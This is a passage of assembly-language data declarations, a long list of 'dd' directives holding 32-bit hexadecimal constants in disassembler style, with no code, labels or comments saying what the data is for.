7B2718A1h, 613F1EF2h dd 4FB96664h, 43C952B4h, 0CB13D23h, 0F82B6B3Ch, 5E191C1Ch dd 0DD712694h, 74E6FC36h, 1DA02433h, 31AEA0E2h, 0F624CF79h dd 1F87B4B2h, 0D210088Fh, 7615802Eh, 0A98C3309h, 0F91FDB39h dd 0D94B33E3h, 2D2A2719h dd 50CB80Ah, 19323F84h, 0B913F36Eh, 899063A6h, 0ADF02969h dd 0BD2BD76Dh, 82E0A4Fh, 7C72820Ch, 788676E7h, 0E80CDA89h dd 0F2E3AC1Ch, 0D590D67Eh, 23179B35h, 0B93BDA97h, 1E1A9610h dd 751B3CCCh, 0C02705F8h, 2C82000h, 0DB5E092Dh, 3F2B0845h dd 2B371180h, 321735B4h, 3BDBE21Bh, 0DE10381Ch, 2738BC1Bh dd 28C120FEh, 26C56045h, 39612F02h, 290C600Eh, 323E6557h dd 0F9FC26F9h, 3212EA25h, 0EEAD88D3h, 0BC0932CEh, 0A101EF16h dd 0F8E23F0h, 0EB5B2C75h, 202F142Ah, 7130EE48h, 0B8331776h dd 1A096378h, 0D53FE322h, 0DB107B64h, 0CD30A31h, 0AAF62A8Eh dd 498DE2Ch, 9079109h, 325E629Dh, 37331B51h, 20C75442h dd 245C3B18h, 0DB4B4A58h, 581F3D09h, 32237565h, 73726D27h dd 51B0678h, 25231DACh, 5D5C5E73h, 47376584h, 701A036Dh dd 124E5859h, 0CE715D3Fh, 0B32B2D35h, 26640942h, 5E474D40h dd 0AA700C11h, 0BB3245EFh, 0F353178h, 314C3D7Ch, 2C49FCBFh dd 17BD1B38h, 0AA245E1Eh, 69A207AEh, 8F6A28A6h, 20A54F71h dd 0F5CCECEEh, 0F6303366h, 26D2E0EDh, 223C243Ah, 1C04F03Eh dd 200C1E02h, 0A238A241h, 0A9C6A645h, 0C479C938h, 0D066DFF0h dd 0B00E623Ch, 7898DE17h, 0FCBBBF3Ah, 0E40C3C48h, 1D985174h dd 21A1BA22h, 27279A21h, 6380412Bh, 0EAAA2FEAh, 31F23332h dd 1D34F370h, 3838FC55h, 0FB7E3FFCh, 9CF55819h, 6A23E349h dd 3C50DBA6h, 0C22C0E26h, 3CD35F83h, 0B9FD91D0h, 0D2EB53Eh dd 36B346FFh, 7C751D79h, 0E069D81Eh, 68E41DFDh, 0DA24E1ABh dd 0B281F03h, 2B2D1B55h, 31914B2Eh, 5DCB5936h, 0F994DC32h dd 0B4586B37h, 182B3F1Bh, 0BF29Ch, 8C340331h, 0AB5F2E52h dd 1C242927h, 0F4C7EDB9h, 3D331731h, 81F1DE21h, 15BB6739h dd 983D3E1Dh, 95141D1Eh, 5F31A13Ch, 0CF2407A4h, 89ECA9FFh dd 1B26AD7Ch, 14B165D8h, 32813580h, 3B6B2239h, 26D60D3Dh dd 0E11DE3C9h, 212131A6h, 5272E410h, 2B5CA37Bh, 5ADB016Bh dd 226FBD7Ah, 367074F4h, 9D16B32h, 3CB6227Bh, 0E2745AC7h dd 67AD2D6Bh, 0CD744B36h, 382C6F07h, 0F46C0F6Dh, 6A6D6F70h dd 397AB8F1h, 29690FB6h, 10D7D369h, 0DB900E7Ch, 349F2194h dd 182724A3h, 418D2BA2h, 0AED427ADh, 2A87E120h, 3437B228h dd 7DBEE1CAh, 246EB11Dh, 0E4C5BD3Dh, 19743F69h, 4923614Ah dd 1733DA26h, 0B4201C8h, 2D2E2AFCh, 261E10B9h, 0E72331CBh dd 0D4D30BB8h, 7F3C3D2Dh, 11084123h, 0CA76A79Ah, 2BA50511h dd 0CA0D84ACh, 63A0CF6Ah, 1ED94EFFh, 42B377F3h, 5D989AF7h dd 1E33BC0Ah, 1E9C181Fh, 4A307016h, 644B2805h, 0AD2E474Dh dd 612A4A6Eh, 5110B50Ah, 0B315EB49h, 56B8E4B3h, 5C63FD39h dd 981E5E52h, 531F5CA7h, 1404751h, 0E2080600h, 5F01284Ah dd 3A22108Ch, 34FB3245h, 0FA3D3619h, 393D3A79h, 5A4C32B9h dd 766A7E7Ch, 7FE24456h, 320E24C4h, 0B903B068h, 1EDD030Eh dd 9565018h, 17373650h, 38FE1F39h, 4D363CECh, 0D18E796Fh dd 6E2DC937h, 0CE7428C2h, 26C51145h, 0CF7BC404h, 7E19F223h dd 75341534h, 6A1A181Fh, 91B8D469h, 7634D552h, 9E2109Eh dd 7D37239Fh, 4B83235Ah, 3F04EC23h, 0F1223D2Eh, 67543F23h dd 6E982F34h, 573F3B8Ah, 0B62E6E21h, 0E72AA328h, 0F616EF14h dd 0DC12F810h, 2C1ED01Ch, 62A182Ch, 220043Dh, 0E16002Fh dd 0A0B0C11h, 2DAB08B2h, 281D2BFAh, 1B3816B9h, 26261D46h dd 0FF139811h, 3917D015h, 0CA08C30Ah, 6D0D670Eh, 47014F03h dd 283B307h, 1E5B2229h, 561F7D21h, 8D1BAF1Dh, 14E31627h dd 10C812F0h, 1A0E302Ah, 630A0C0Ch, 0EA34A808h, 36DD0C7Dh dd 2DEE493Fh, 0BE202E2Dh, 74161013h, 291AD414h, 1EAD1816h dd 4131CCDh, 0C602B012h, 34087701h, 3E7C02F9h, 0F5B89E6Eh dd 311C1EE1h, 34497550h, 3607A477h, 1F0AAFC1h, 58285B2Fh dd 0DF393349h, 6F610625h, 3D0B5AD1h, 731E350Dh, 14246DFEh dd 0A312C977h, 0B4170025h, 362A8223h, 0FF7E2BCDh, 30610636h dd 22343F39h, 30124DD8h, 369E3E56h, 10177C15h, 82332275h dd 6E017029h, 9E7B2A4Dh, 244F5DC3h, 0D33B5403h, 3CB5B96Ch dd 0BCB46857h, 349D37F6h, 0E3411BBh, 2B06159Eh, 2F27F292h dd 693D4D32h, 2F462440h, 38B02E44h, 7510B37Eh, 4D93355Ch dd 0DC3F7B5Ch, 0F81AA3BDh, 20675B9Ch, 61707720h, 2D6274A7h dd 49792BF1h, 0AB7B6D4Ah, 32332133h, 0DA3577FEh, 5C5E71AFh dd 0FB3BA41Bh, 313B7A3Ch, 0CF2091E1h, 0E6B12125h, 0C929C945h dd 3D2F099Eh, 84344265h, 0D943E42Ah, 14111DA0h, 332D533Bh dd 0CF1518DBh, 0A2604A0Fh, 77752549h, 0EB31C075h, 7C393A43h dd 6333DD3Ch, 653D36C3h, 0D70AB062h, 16367D6Dh, 934CDE04h dd 27A00F0Ch, 29A44C56h, 21A34102h, 0D7B2727h, 35CEAC22h dd 30503354h, 2AD03637h, 560A3A38h, 175B3E3Bh, 281E0C1Eh dd 2FA12644h, 0A7BF98D5h, 332B2222h, 0CC2F2127h, 3FCCCF3Ah dd 683CC5E2h, 383C5B2Eh, 4B4C35EDh, 0A909651Bh, 5522C343h dd 27C77633h, 0E96C3E5Dh, 385BC02Ch, 9932E309h, 0DB369783h dd 99963999h, 36AF213Ch, 1EBFBDB1h, 0B4218163h, 87692481h dd 88A28227h, 2B5CE82Bh, 0C63192AFh, 439F3492h, 3BE53895h dd 3E9F5639h, 0B71CBA93h, 2D20BD41h, 87702E93h, 29894B26h dd 24BE6280h, 9D84EB2h, 2D953202h, 0FE693A1Fh, 5918AF2Ch dd 0DE4938FCh, 0E194BE1Ah, 0F024E731h, 0C02D21E9h, 242CE3ABh dd 3186C626h, 3C26CD21h, 0A975BDEEh, 3DEB3929h, 171BBAA8h dd 154E15ABh, 0A1A9E7C8h, 2FAF452Ch, 2A1A469Ah, 2F5E98DCh dd 414E404Ch, 434A4648h, 474F4538h, 4349414Ah, 67611C63h dd 635D5A63h, 5A25665Fh, 566D5464h, 2E6B506Eh, 7A4D7753h dd 7C497D4Fh, 46724437h, 42704077h, 52601B71h, 705C4F62h dd 5924715Eh, 557C5B75h, 2C1D577Fh, 3012F1Ch, 7C5019Dh dd 1A380428h, 4A0F7709h, 1C2F7B0Dh, 14DD2A8Fh, 11B91728h dd 0ED12DF25h, 791C231Fh, 78A2E1Ah, 3DA05F8h, 11370E3Ch dd 55037301h, 9907B705h, 7F7A1CB5h, 901BBE19h, 0B063D84h dd 58E96013h, 90206E84h, 333D3B1Fh, 3B34393Bh, 90EB32C8h dd 0E484126Bh, 1219A639h, 0C22D2448h, 8D5A193Eh, 7AB6835Ah dd 7E865C20h, 628B1124h, 476B6B38h, 31603F3Ch, 3E363514h dd 3940906Ch, 2B229E16h, 0AE72EEA9h, 14270F7h, 796C7A20h dd 3E2AFC72h, 32CA76B6h, 2A2A19E6h, 0B6743F3Ah, 9CD114F6h dd 4252CDA5h, 44C2D531h, 289F264Dh, 2AC1EB2Ah, 472FFE16h dd 1077B84Eh, 0DCF7B226h, 1FDC234Dh, 227FEAD5h, 3C4C3E8Ah dd 9D0BE17Dh, 76B2464h, 276A3C79h, 3F1D6CC2h, 5B603553h dd 7544FBE4h, 5939F89Eh, 0FEEFD531h, 44101C18h, 402C223Bh dd 2B212382h, 84242FA6h, 2829AD28h, 3131EB22h, 232C5C63h dd 0DD6634D5h, 32D5B037h, 0BD8ED9BEh, 49721C1Eh, 85254189h dd 10C63ADh, 0F824D47Ah, 9538EFABh, 1170A73Dh, 0B9D0241Eh dd 3DB6453Ah, 149F622Eh, 20316ADDh, 4C721A3Ch, 294CA489h dd 0C4426448h, 2B2F973Fh, 34A7A431h, 0BEBD6636h, 3F3B3AAAh dd 0DE576E6Fh, 1F0EFC80h, 32BCC921h, 0ADB4AB21h, 32133B27h dd 30C6EC29h, 27582135h, 733965B5h, 0D3683F52h, 0B53B270Eh dd 50180C1Fh, 0E4A0250Fh, 9C2036E3h, 0C32C3C71h, 764C1EBBh dd 2240353Dh, 1235E536h dd 3E67670Fh, 0E9D20012h, 12131B30h, 663B101Eh, 6DADEA11h dd 2B60AE32h, 2C564B3Ah, 0F6576A0Dh, 0BC303372h, 0FED7FA9Dh dd 0C33C337Ah, 0DB8385E2h, 7869125Dh, 6B331075h, 7D2E2360h dd 2D3B3F78h, 0BB334FCCh, 0F5B8227Fh, 0C52336B8h, 0D4FA3E39h dd 173FB33Eh, 4E029EE5h, 6F6A2172h, 36ECEFCCh, 0F6E6128h dd 7B762D74h, 313F6060h, 13368210h, 0D37E2938h, 3BB7F042h dd 1CD17E75h, 7BC9740Fh, 26603423h, 4829005Fh, 2C7D7E0Fh dd 3360B967h, 0E1178B3h, 380D1437h, 0D6697868h, 1EC1849h dd 352A1BBAh, 416D1F23h, 2C70EB9Eh, 34E02859h, 7938242Eh dd 3B876679h, 6B7B7C7Eh, 393CA9AFh, 89583FAEh, 1652521Dh dd 26502320h, 0C325CD21h, 2CD2C22Ch, 6BD0D1D2h, 8D55FB00h dd 0B8C8C935h, 7FC4344Ah, 0FD8026DFh, 1CDF1CDCh, 9723E3FEh dd 0E5F0CC60h, 0E5C39129h, 6B922CEEh, 3AF0F7D9h, 0F788DCE8h dd 0E3E08139h, 0F2482EFEh, 0D425CE08h, 0E1301Dh, 0BCCC1A2Bh dd 0EBA853A4h, 2E1D2D74h, 0B249D92Dh, 703676DDh, 3979112Ch dd 9C3D41EBh, 1E1CDA6Bh, 21E234F6h, 2524E24Bh, 9105CF22h dd 0D3D6352Ah, 4F7EA2D1h, 117073F4h, 28D03226h, 3DB7FB3Ah dd 97131B72h, 0A97B40DBh, 20232F21h, 0EB37E2A6h, 2C2C2FB9h dd 5A2F02E1h, 0A35C5ACEh, 39377535h, 0DC6D9B5Dh, 122FB715h dd 1BD89E1Ch, 0D257D21Bh, 7C78397Bh, 13150013h, 0C7C60AACh dd 17F22CFFh, 2834A66Dh, 7638283Ah, 0C032C244h, 7124BF42h dd 64DAB3Ah, 2E642533h, 11F0A337h, 0EB0C58DEh, 822D160Eh dd 0DDDFF00h, 797D05B7h, 3F9D161Bh, 2792143Dh, 21AB1E3Eh dd 78AC3B67h, 0D6D0A430h, 3871A32Ah, 0CE60285Ah, 0E9BCB327h dd 97813634h, 75B8FBB6h, 9E037AF9h, 0A00A333Fh, 4A35703h dd 852AF63h, 6A0A9FA4h, 0D8E1A50Dh, 36532B67h, 0E88F1678h dd 7AA5397Bh, 1BBAB33Eh, 1E9FD305h, 67232128h, 0C98DE435h dd 8528382Ch, 3C162F3Dh, 312D5732h, 0DE2A7824h, 3F1DCBD8h dd 0AE6BBBD5h, 1C8E7419h, 4C277A21h, 8CA82C42h, 493EC97Bh dd 8F592C89h, 30C0682Fh, 0DE659429h, 392C722Ch, 7F0A297Bh dd 7792572Ah, 62A50A5Fh, 306CDBF0h, 3C67767Ch, 0EF3F412Dh dd 69717B3Ah, 0FDDC6F60h, 61786336h, 0FD382FFEh, 0DC40DB2Ah dd 0D420DEA4h, 30E73720h, 2F33EF5Ah, 2F017BF8h, 716F2747h dd 77B3723Eh, 77237F30h, 18772E78h, 0A63BD655h, 0DF6C0EF7h dd 2331C021h, 5B2145AEh, 18802C68h, 2F3CA62Eh, 0BEF03A19h dd 7D0AC93Ah, 4606DAA8h, 53FA0FBDh, 362908FDh, 0C8B6BAF7h dd 32C42C37h, 24A35799h, 0CA7A38CAh, 7DD053Bh, 790218h dd 0D130E58h, 6C40BF4h, 24EC22B9h, 1BF42505h, 180419D0h dd 14DB1A56h, 1233158Dh, 0E8B10B7h, 36340CCDh, 38383686h dd 6F3F3B56h, 892BB60Eh, 422E1D2Dh, 0CF12AA10h, 6E150214h dd 9819B31Bh, 3C2C3D1Eh, 0D333937Dh, 3AD6937Fh, 217C780Bh dd 833ADE96h, 0C3A3BDEh, 4D2280F9h, 8E268484h, 2B8BBCB7h dd 907BCF48h, 446845B2h, 22A23595h, 1B38D86Fh, 7C653BBDh dd 0C8391D5Ah, 0F323E18Eh, 9A2445ABh, 3DAB0D09h, 7E24AC73h dd 627676A2h, 2D803D37h, 329C6076h, 0DD359806h, 0B76182Eh dd 1233F9Fh, 0CD753048h, 320C592h, 2F24CF0Ah, 70E027CEh dd 0A141655Dh, 31DC6566h, 0CB34D254h, 5F0A9601h, 3B7D16FDh dd 49CB721Dh, 2D242ECFh, 708E22C9h, 0D1FDC62Ch, 36176633h dd 9C35D551h, 3F3BBA1Dh, 181F9F6Fh, 0A8F61F68h, 65A2703h dd 27B26527h, 0AFEC792Bh, 0EB2D4C4Dh, 3053A8D8h, 56B2F2FAh dd 501DB04h, 0B53C3CFFh, 0A1F7DCD4h, 0A1212F05h, 0CF49FCE2h dd 47C1881Dh, 2D012CD9h, 381930DCh, 36C769DBh, 3139CC42h dd 0CC70B6D3h, 1DE8A53Fh, 0D31DF712h, 85236522h, 2428D631h dd 2DDE06C2h, 31C47E7Eh, 0C729DB3Ch, 39CCAE36h, 30D42F35h dd 0E8F93FCCh, 0DDF70E1Dh, 24D2CB33h, 0A32A230Eh, 2CD5A9D9h dd 3B285BD2h, 0F0B06CF1h, 7B362617h, 3CFB0925h, 4E6E3A61h dd 0DE78435Dh, 42602341h, 3326E534h, 0AABCA96Bh, 370A7920h dd 3531B156h, 0B9DE6734h, 0B8C5C722h, 3F3A37F8h, 6A1D1418h dd 72314A1Bh, 0AFA5A4F6h, 1E0D7CAAh, 1E7F2E41h, 0E4D9FEA4h dd 3C302F33h, 46391C73h, 0B56D3D51h, 1D98DCF1h, 21219F3Ah dd 0EC58CB24h, 0A2D7D826h, 9A8EDE2h, 2CB03E5Ah, 0B497DB33h dd 312DC81Eh, 3C3EE03Ah, 9F1FFBBDh, 0AD1E3EE5h, 2523066Dh dd 1E4ACE25h, 68A0D5D7h, 0BD3B2E09h, 5E63147Fh, 1237DE7Ch dd 6CC4C404h, 19D7F5B6h, 0F7021C3Eh, 0DCDC1AC1h, 37E225A7h dd 185FE9ADh, 0C72AE2A7h, 0B906319Bh, 3436A6BAh, 0A9ACB368h dd 93AE3D3Ch, 1F398C11h, 7302B01Fh, 33B53FA7h, 0C27DC803h dd 0ADFFAAD3h, 6030E368h, 86FBA3DBh, 2E7A3BB5h, 35857BCAh dd 19DB193Fh, 21182DBFh, 65F1DC26h, 2A2A0203h, 0EB172F4Ah dd 1428245Bh, 0C9653926h, 270890DEh, 3D3F02C1h, 1C141041h dd 5E2C1E12h, 6610BB12h, 0A8134A11h, 0B71FA31Dh, 8D1B9B19h dd 0CA07DC05h, 74027001h, 9E0E4C0Ch, 0AD0A9608h, 0D02BA029h dd 0C814C015h, 60113B12h, 2C1D671Fh, 7E162314h, 790B7108h dd 380F470Dh, 4A002F02h, 0FB04B606h, 661D4A21h, 26210FBDh dd 755684A2h, 4F5A2C27h, 330AFD48h, 0C25230DEh, 0A6243474h dd 69545937h, 6C2D4C2Ah, 1D7E784Fh, 0AD6D6C7Fh, 4D064D43h dd 4D4D2497h, 2CA84B79h, 353036FEh, 5C585C62h, 2B417555h dd 6D393B09h, 0BEABEF52h, 0AF1959h, 7C2F1AC9h, 2A7F2265h dd 0A12A2964h, 62070A79h, 368878D9h, 4362E09h, 3D3895h dd 0E7D7561Ch, 1B2216BFh, 0F1221D29h, 6A4C8500h, 2C55C178h dd 13295110h, 0F3DA1378h, 0A2FE2B38h, 6A762731h, 9D91233Dh dd 1F4CA81Bh, 882182BBh, 0BF24753Fh, 8B4D2885h, 2E8FA22Bh dd 3030B465h, 0E63596B0h, 423998CBh, 0D63D9E6Eh, 0BF711B9Eh dd 2181A71Eh, 25837640h, 65288071h, 8A6D2B8Dh, 9665192Eh dd 35931832h, 2C389016h, 4C0D3B9Ah, 5A542EABh, 701C0F6Ch dd 0A760F264h, 5D6C62E2h, 1CA0AC82h, 2CAA4E23h, 450EB966h dd 0EFC8223Eh, 0FCD35A89h, 0CCC06D31h, 563A1C47h, 53908539h dd 0D79975FFh, 8A29347Fh, 3F327D40h, 33363030h, 11173436h dd 403B393Bh, 35490936h, 10141524h, 28A85C68h, 62C9A554h dd 9DA90B24h, 0AA16869h, 0DABEC0C7h, 16A9565Bh, 821DB430h dd 0B34D3C8Bh, 1D1FBB67h, 271F718h, 2404AB23h, 9A7F751h dd 10BA1B2Bh, 95512E1Dh, 71363206h, 753C1EDEh, 8FFBBF68h dd 7ED92D22h, 0A0BD33D7h, 0C76890C9h, 1A05D4D7h, 0ED221803h dd 3155AAB0h, 4E3B9359h, 39766379h, 2C6E4B3Ch, 2934137Fh dd 4D37DB2Ch, 320DA017h, 25E70925h, 4A8360AFh, 6D83EF2Dh dd 9430DC91h, 377117E1h, 4D0F590Dh, 0EF08EE09h, 221E261Bh dd 1EB21C6Bh, 0B5182430h, 0C9172B1Ah, 112DEF15h, 3271312Fh dd 36354831h, 5A093534h, 0C40D900Bh, 2C562B3Fh, 10CA2E86h dd 5B162316h, 271AE114h, 1E2C7D19h, 2C01C88h, 3AB40767h dd 36B88606h, 7D245133h, 131FFE32h, 6E1513DDh, 0A4E3B3E3h dd 0C0752F1Ah, 0ED10409Ch, 25EF5238h, 0F40EB825h, 0B9220A1Bh dd 12FA6919h, 11777EC1h, 9D4B96F4h, 29A2012Ah, 212CA438h dd 7A252968h, 45260D2Eh, 6532F333h, 21963545h, 3B4B678Eh dd 3A58316Ch, 7E1C2C1Fh dd 0B28B240Ah, 32BE2032h, 29BD8E23h, 842FB49Ah, 0D233A587h dd 0A2DE36A2h, 38ADCE35h, 9A73DCFh, 144AEB33h, 0A4231E5Eh dd 354522F7h, 28280F25h, 75B20F6Eh, 3291772Fh, 3715EB94h dd 18B0A5D7h, 9CD02738h, 3DF4983Eh, 1E9D4A1Fh, 85A84583h dd 2A261D2Eh, 2C898F9Ah, 293B6CA3h, 0C563F05Dh, 67933414h dd 0D63B9B68h, 0BE3D1F4Bh, 1FB65E5Dh, 28232721h, 9129A79Fh dd 3A0E37EAh, 6FA18C11h, 2851D960h, 21763CF5h, 0E738E94Eh dd 971A7119h, 74351CA3h, 0ECAA711Eh, 0A253FCBh, 0AA41D7D9h dd 2E2D6844h, 0F5F9BB2Eh, 31551077h, 0D23A3837h, 0C1C3147Ch dd 12DC1BBAh, 0EEA3DC8Ah, 6924AEDDh, 55A10302h, 61A1770Eh dd 2F302B0Ah, 3534CC16h, 7F8CDF3Eh, 1970A83Ah, 78936122h dd 761F1394h, 21E006E5h, 0A23469A1h, 0BE2A2A24h, 0BD18B02Dh dd 1463AC31h, 3810B68Dh, 0D4A4383Bh, 19A33EACh, 9C481C1Ch dd 0CBAA25E1h, 46266DDFh, 5C7A0D9Ch, 29CD2E7Dh, 22253D70h dd 73354506h, 1F5EB520h, 0D73C0D28h, 781C0DD5h, 73320C10h dd 0CE2A47A4h, 423BF8AAh, 0AF7C108Fh, 4615A42Eh, 467BCD0h dd 0EA68943Fh, 51D53A3Dh, 2D4C1ACFh, 0F163CE1Dh, 222D5027h dd 292B4DCEh, 2C2CEE36h, 37336B72h, 1094A2DAh, 0BF7A5074h dd 3C56311Ah, 46FD378Dh, 0BC973A25h, 0ACB2BC3h, 0DC4F2184h dd 0AE264BA2h, 40EF9277h, 35F38C3Eh, 0D0576E3Fh, 34A93A1Ah dd 725E3737h, 38F62104h, 21831C20h, 24262D64h, 629A8C8h dd 0C12D2D24h, 331C32B1h, 0B677C937h, 383A163Bh, 3CBE9836h dd 1D1D142Bh, 1322A107h, 7032723h, 2A1B2BA6h, 2DAC1828h dd 31B5301Ch, 236B571h, 0BB693B37h, 3E082C38h, 1E9D453Ch dd 63231F28h, 0E169A24Eh, 0A87D59CFh, 0C478EF13h, 5F31EB58h dd 0F15232F6h, 0FB296937h, 6BD5E73Bh, 0CA33EFEh, 315E133Ch dd 63396C2Fh, 0C0772239h, 30698120h, 0F40C20ECh, 35F72921h dd 7136F626h, 96DD32BBh, 1A3F36B8h, 45E61BD8h, 2B20E274h dd 33E4A045h, 0EB06C120h, 3BE52A12h, 9CDA3828h, 0E4B33D76h dd 3DD2332Ch, 3AD33F3Dh, 0F61608C7h, 0AB0084C1h, 0CE2930C7h dd 352B2A1Ah, 2C291D1Ah, 50FCD822h, 0DE4D9647h, 39BBFB99h dd 3029407Eh, 57E05D7h, 5BC19F9Bh, 0FE20A663h, 5728E7AFh dd 538A127h, 0B9E11D2Eh, 0E741B26h, 0CA4433F5h, 0B52008DAh dd 4EF02C74h, 3596FD98h, 683B03E5h, 0A4732E85h, 34880E0Dh dd 145B3608h, 77181011h, 1D551014h, 2B41B7F2h, 4ACA271Dh dd 6DD2105Fh, 604F014Fh, 0E4892726h, 0A722EF2Eh, 84C2F65h dd 77333336h, 0FC2DF536h, 0F1BF38FCh, 56209C30h, 1B41FC68h dd 5055B809h, 2636474Fh, 40632928h, 2D4C2D23h, 4242596Bh dd 3C564052h, 0CD3AFA5Fh, 4B6C1C3Ah, 8D12695Ah, 0A8226BD7h dd 365001F3h, 265A20F6h, 2C9C58EAh, 2291E45Eh, 3FCB6B83h dd 66514623h, 60625318h, 0DCEDAB31h, 22AF1FA5h, 7D23DB13h dd 23042983h, 2E93B729h, 0BB2F13E1h, 343B34B0h, 0C0B43637h dd 0B67D4EC6h, 736E35ACh, 0E0481F7Eh, 21022AF5h, 44EE06E4h dd 292A21F9h, 0C7787D7Eh, 3552102Eh, 0B43053F8h, 592AFDF4h dd 6E3B1D3Ah, 0DA1FDE73h, 0EAA5A219h, 0CE737425h, 2CE908CBh dd 28FEE805h, 34F532EDh, 6733FCBFh, 80D1CC61h, 0AA063AFAh dd 0AA202304h, 91E1B22h, 6C1A0D1Ch, 0C0166818h, 2D136D14h dd 31330F2Fh, 36347B33h, 0D0905FDh, 66901BFh, 27D004ABh dd 1BF825C0h, 182C19DBh, 144A1A7Eh, 10A1165Eh, 0CDC12E9h dd 9140F34h, 57D0B0Dh, 71B60782h, 9FD76E00h, 3E926DFDh dd 0DC7320C2h, 287B131h, 0CAA946A8h, 0A639EF06h, 48DA6375h dd 0B2A60C04h, 281A4DF8h, 5E5DD53Dh, 32081833h, 70714C1Eh dd 710D04Bh, 0C27C2857h, 3EAC375Ch, 0A763893Fh, 75DD1BB2h dd 8A2D3A17h, 583F2839h, 75912BB0h, 0C8DFE0B5h, 25AA4786h dd 288CAA0Ch, 2ADAB2Fh, 30BCA29Ah, 30364637h, 38523DB4h dd 3FDC0118h, 2A8D1D1Ch, 361E9C1Bh, 256AD609h, 0A7FDD033h dd 2CF3BA11h, 0A5454E05h, 0B54B24F0h, 40582637h, 0DC1643ADh dd 1CBF503Ch, 61CF7275h, 2E38A059h, 4026342Eh, 9822A829h dd 4EE8453Ch, 5C4052D0h, 9829353Eh, 14329630h, 37913593h dd 16B014B4h, 703E125Ah, 49563446h, 2EA5E4Bh, 8F362C21h dd 20337C9h, 26E91403h, 0DA399C38h, 0E3E3C33h, 1DF81B9Bh dd 852D3B1Dh, 2A34CB22h, 29C42782h, 8C273B29h, 0C1B81F2Eh dd 1168D522h, 1ABEDF2Eh, 9278180Ah, 0C2EB42Ah, 707D01FDh dd 75371431h, 3865B677h, 7F892877h, 45448Dh, 62622264h dd 0DA61DE66h, 7C479A48h, 1BA7364Dh, 0B2EAC1Fh, 3B70104Ah dd 0F6DB78CCh, 5EA23938h, 296EA632h, 745BD960h, 3336D5C9h dd 3B3CFE20h, 2938AFB8h, 5E449515h, 662AB03h, 0D0532A8h dd 0A7A28AEh, 28A6195Eh, 3A1B607Ch, 74ECBDDBh, 0CAB2480Eh dd 7E433ED3h, 970C913Eh, 213625D4h, 0EE1E3F57h, 79A23352h dd 2CAC2A28h, 3F452E78h, 3734F3B1h, 33AF1B5h, 3DDC4EF1h dd 19F0FF0Dh, 0F89CDE06h, 3782DDABh, 0A42DE122h, 3BCBA60Dh dd 2F2D682Fh, 33FC2C6Eh, 26E231FAh, 393B3C66h, 735E3E44h dd 3F247273h, 232A5205h, 27877C27h, 587F0909h, 66072D35h dd 0B1AC3974h, 56666935h, 3B69C979h, 52575C34h, 0A8181EF9h dd 922B204Ch, 79456A76h, 9A449F2Eh, 227C2C1Fh, 83332247h dd 8E653F53h, 3839296Fh, 0D6303E72h, 4E0C5A3Eh, 762D6F4Bh dd 4AA44B6Ah, 3856A727h, 3E5641BAh, 0BFE027EEh, 0F9E4FFB6h dd 985D69BBh, 0F6B73A99h, 1D6F5CD6h, 841E6FA8h, 2550046Fh dd 297368CDh, 232B7A89h, 0CF2F212Dh, 343C323Eh, 3838363Ah dd 3C343A36h, 1B303E32h, 101E12E3h, 2C222E20h, 28262A24h dd 242A2628h, 2F21D22Ch, 333D313Fh, 3739353Bh, 3B353937h dd 30C13D33h, 111D131Bh, 2D212F1Fh, 29252B23h, 0A8782727h dd 2D2D8F7Ah, 9B3224EEh, 0AC9622A3h, 694C2D86h, 3EFFAA23h dd 0BECF5C95h, 3820DD97h, 0F7583B16h, 73EF5E26h, 3513B745h dd 313F4891h, 830F3AA1h, 0AB31A891h, 1F3C2333h, 0BC1E390Fh dd 11C0C14h, 7C9AC26h, 28D62207h, 0ED3ED50Fh, 0EB1C7236h dd 0E183B401h, 381B3725h, 5A110A19h, 5A0B3E7Dh, 0F7F591Ch dd 23F62416h, 1F26E425h, 0EB1029E9h, 52EEC2Fh, 0D32700Ch dd 76763575h, 61C57B38h, 1B318DE9h, 75DD19BAh, 48215137h dd 27950089h, 73E3BF75h, 863C2CFBh, 923030FAh, 0B63539FAh dd 1C3D3866h, 3E20698Eh, 5BD9DA08h, 0AE4366B5h, 0CD4C09AAh dd 292D7FA6h, 0A72A7A28h, 1A367E36h, 31341813h, 39A60744h dd 0D05383Ah, 2A2A3D3Eh, 211F265Dh, 82AA1B10h, 6B21864Eh dd 2A4B3B37h, 83216EE0h, 8499C71Ch, 0BE5DBF65h, 3BBB283Eh dd 0B638B2ACh, 97A7309Bh, 0DAB6727h, 0A73522A2h, 0A77F3F2Fh dd 5203AA2Bh, 177E36B8h, 325C8104h, 3AC82FF9h, 2B39BF65h dd 7771B9Bh, 242E2796h, 82680773h, 54AA4E2Eh, 5B2D2D2Dh dd 7FBB0Eh, 0BE643759h, 0DF752DC8h, 6C0F6A3Fh, 0AD201FD5h dd 5E20DD1Fh, 24243C1Fh, 29A37226h, 45D341C6h, 3173948Eh dd 94503232h, 5D683336h, 3D193BB3h, 4F7BC3Ah, 5C14484Eh dd 560344A1h, 6E44A02Fh, 7C2B4A7Bh, 3C273BD2h, 2CA230EAh dd 0B14F3CD5h, 0D4B30C7Ah, 1AFF40DCh, 3F86F5D2h, 6A632025h dd 0A22DCD60h, 1B19D6D6h dd 128A45C1h, 32323501h, 139299BDh, 0B23CB98Ch, 4D4BDD50h dd 1E7E3BABh, 44237E1Dh, 43A54151h, 289D2A27h, 21FD5E58h dd 302DC00Ah, 0C7373441h, 4E5F3077h, 31CD5339h, 7E7A1973h dd 52227072h, 27732162h, 4C584840h, 2C2C452Ah, 52472DF1h dd 31A53241h, 5F3A6E34h, 6D484E4Ah, 4F473F5Dh, 47077175h dd 6B634C54h, 7F0770E5h, 2C592C48h, 5C2E6E02h, 1457405Eh dd 51537325h, 59023B4Dh, 786F594Fh, 5C45121Ch, 29A51B2Ah dd 2D6B8E1Eh, 6D213568h, 452E7F30h, 31633163h, 65043959h dd 757F6F79h, 77DF1D6Fh, 3E0E115Ah, 1E1E6055h, 259ACA8h dd 262EA933h, 35ED2EC3h, 0DA39BBBFh, 0B3289499h, 1A30F9F7h dd 87D5154Fh, 11025992h, 71EECF95h, 22427CCAh, 692D07F1h dd 72E40B62h, 0F16EEF1Dh, 253CF151h, 0FCD03636h, 2D4A365Bh dd 5C7C3D69h, 547A5970h, 2C474D6Ch, 9424A50h, 414A6471h dd 486A2E48h, 713B3270h, 5509435Bh, 3DE86A7Dh, 1A076E8Dh dd 4F1D1DFCh, 73637220h, 6B620B6Dh, 45EB9064h, 0A65D705Fh dd 0BAE23194h, 146C240Bh, 0A807B3B8h, 1BB72A3Ch, 1E8C2916h dd 37F1CDA6h, 0AFADEC08h, 2AFB632Ah, 0FF2E2C36h, 0C1BAB013h dd 4BB8EDB8h, 7A7BA943h, 0BDF6B79Eh, 20FF6FFDh, 0E30C1D2Bh dd 